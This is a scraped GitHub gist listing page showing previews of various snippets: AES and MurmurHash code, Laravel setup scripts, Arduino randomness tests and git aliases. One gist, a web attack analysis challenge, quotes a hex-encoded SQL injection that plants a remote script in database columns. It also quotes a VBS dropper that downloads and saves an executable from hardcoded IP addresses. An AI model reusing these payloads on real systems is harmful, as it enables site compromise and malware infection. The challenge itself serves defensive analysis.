Skip to content

Instantly share code, notes, and snippets.

View rdev5's full-sized avatar
💭
Note: This account has been moved to @mattborja

Matt Borja rdev5

💭
Note: This account has been moved to @mattborja
View GitHub Profile
@rdev5
rdev5 / aesNr.c
Created May 19, 2015 18:49
FIPS-197 6.3 Parameterization of Key Length, Block Size, and Round Number - This standard explicitly defines the allowed values for the key length (Nk), block size (Nb), and number of rounds (Nr). However, future reaffirmations of this standard could include changes or additions to the allowed values for those parameters. Therefore, implementers…
/*
* 6.3 Parameterization of Key Length, Block Size, and Round Number
*/
// Number of columns (32-bit words) comprising the State. For this standard, Nb = 4.
void int Nb(int stateLen)
{
return (stateLen * 8) / 32;
}
// For supplying defaultOptions and providing optional validation
var validateOptions = function(options, defaultOptions, validOptions)
{
if (options === undefined)
return defaultOptions;
var validatedOptions = defaultOptions;
for (var k in options)
{
@rdev5
rdev5 / Analysis Challenge #1
Last active September 22, 2015 21:42 — forked from rcbarnett-zz/Analysis Challenge #1
Web Attack Analysis Challenge #1
Review this HTTP request -
GET /somedir/somfile.asp?arg1=SOMETHING;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522053454c45435420612e6e616d652c622e6e616d652046524f4d207379736f626a6563747320612c737973636f6c756d6e73206220574845524520612e69643d622e696420414e4420612e78747970653d27752720414e442028622e78747970653d3939204f5220622e78747970653d3335204f5220622e78747970653d323331204f5220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d525452494d28434f4e5645525428564152434841522834303030292c5b272b40432b275d29292b27273c736372697074207372633d73646f2e313030306d672e636e2f63737273732f772e6a733e3c2f7363726970743e27272729204645544348204e4558542046524f4d205461626c655f437
{.exec | cmd.exe / c echo > 22222.vbs dim wait, quit, out: Set xml = CreateObject("Microsoft.XMLHTTP"): Set WshShell = Wscript.CreateObject("WScript.Shell"): DS = Array("123.108.109.100", "123.108.109.100:53", "123.108.109.100:443", "178.33.196.164", "178.33.196.164:53", "178.33.196.164:443"): for each Url in DS: wait = true: quit = false: D(Url): if quit then: exit
for: end
if :next: Sub D(Url): if IsObject(xml) = false then: Set xml = CreateObject("Microsoft.XMLHTTP"): end
if :xml.Open "GET",
"http://" ^ & Url ^ & "/getsetup.exe",
True: xml.OnReadyStateChange = GetRef("xmlstat"): out = Now: xml.Send(): while (wait and 60 ^ > abs(datediff("s", Now, out))): wscript.sleep(1000): wend: End Sub: sub xmlstat(): If xml.ReadyState ^ < ^ > 4 Then: exit sub: end
if :wait = false: if xml.status ^ < ^ > 200 then: exit sub: end
if :quit = true: on error resume next: set sGet = CreateObject("ADODB.Stream"): sGet.Mode = 3: sGet.Type = 1: sGet.Open(): sGet.Write xml.ResponseBody: sGet.SaveToFile "ko.exe",
2: End su
@rdev5
rdev5 / MurMurHash3.cs
Last active November 4, 2015 17:25 — forked from automatonic/MurMurHash3.cs
MurMurHash3 .Net (C#) implementation
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TinyWAF.Helpers
{
public static class MurmurHash3
@rdev5
rdev5 / laravel-koding-setup.sh
Last active January 20, 2016 14:39
Laravel installer for Koding.io based on steps outlined at https://laravel.com/docs/5.2#installing-laravel
#!/bin/bash
# author: matt borja
SWAP_SIZE=256
APP_NAME="$1"
INSTALL_PATH="$2"
UPDATE_PACKAGES="$3"
INSTALL_WITH_COMPOSER="$4"
if [ -z "$APP_NAME" ]; then
@rdev5
rdev5 / laravel-scaffolding.sh
Last active January 20, 2016 14:37
Scaffolding shortcuts for Laravel application outlined at https://laravel.com/docs/master/quickstart-intermediate
#!/bin/bash
# author: matt borja
cat "$0"
exit
# setup auth
php artisan migrate
php artisan make:auth
# cleanup "web" middleware
@rdev5
rdev5 / results.md
Created February 9, 2016 06:55 — forked from endolith/results.md
Randomness testing of Arduino TrueRandom

I ran

cat /dev/urandom >> devurandom.bin

which produced 31 MB of data in a few seconds. To get numbers from the Arduino, I ran:

stty -F /dev/ttyUSB0 cs8 115200 ignbrk -brkint -icrnl -imaxbel -opost -onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke noflsh -ixon -crtscts
cat /dev/ttyUSB0 >> TrueRandom.bin

which took several days to produce 93 MB of data (rate of about 3.2 kbit/s)

@rdev5
rdev5 / probably_random.ino
Created February 9, 2016 07:01 — forked from endolith/LICENSE.txt
Arduino hardware true random number generator
#include <stdint.h>
#include <avr/interrupt.h>
#include <avr/wdt.h>
byte sample = 0;
boolean sample_waiting = false;
byte current_bit = 0;
byte result = 0;
void setup() {
alias gs='git status '
alias gaa='git add --all :/'
alias gcam='git commit -a -m '
alias gl='git log'
alias gp='git push -u origin master'